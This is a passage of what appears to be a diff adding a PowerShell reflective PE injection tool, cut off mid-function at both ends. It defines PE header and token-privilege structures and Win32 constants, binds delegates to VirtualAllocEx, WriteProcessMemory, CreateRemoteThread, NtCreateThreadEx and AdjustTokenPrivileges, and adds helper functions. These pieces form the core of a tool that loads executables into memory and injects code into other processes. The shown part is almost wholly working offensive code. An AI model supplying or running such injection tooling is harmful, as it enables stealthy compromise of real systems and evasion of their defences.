[UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 + $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 + $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 + $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 + + return $Win32Constants + } + + Function Get-Win32Functions + { + $Win32Functions = New-Object System.Object + + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc + + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx + + $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy + $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) + $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset + + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary + + $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) + $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress + + $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress + $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree + + $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx + $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) + $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx + + $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect + $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) + $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect + + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle + + $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary + $FreeLibraryDelegate = Get-DelegateType @([Bool]) ([IntPtr]) + $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary + + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess + + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject + + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory + + $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory + $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) + $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + $LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + $Win32Functions | Add-Member NoteProperty -Name LocalFree -Value $LocalFree + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = 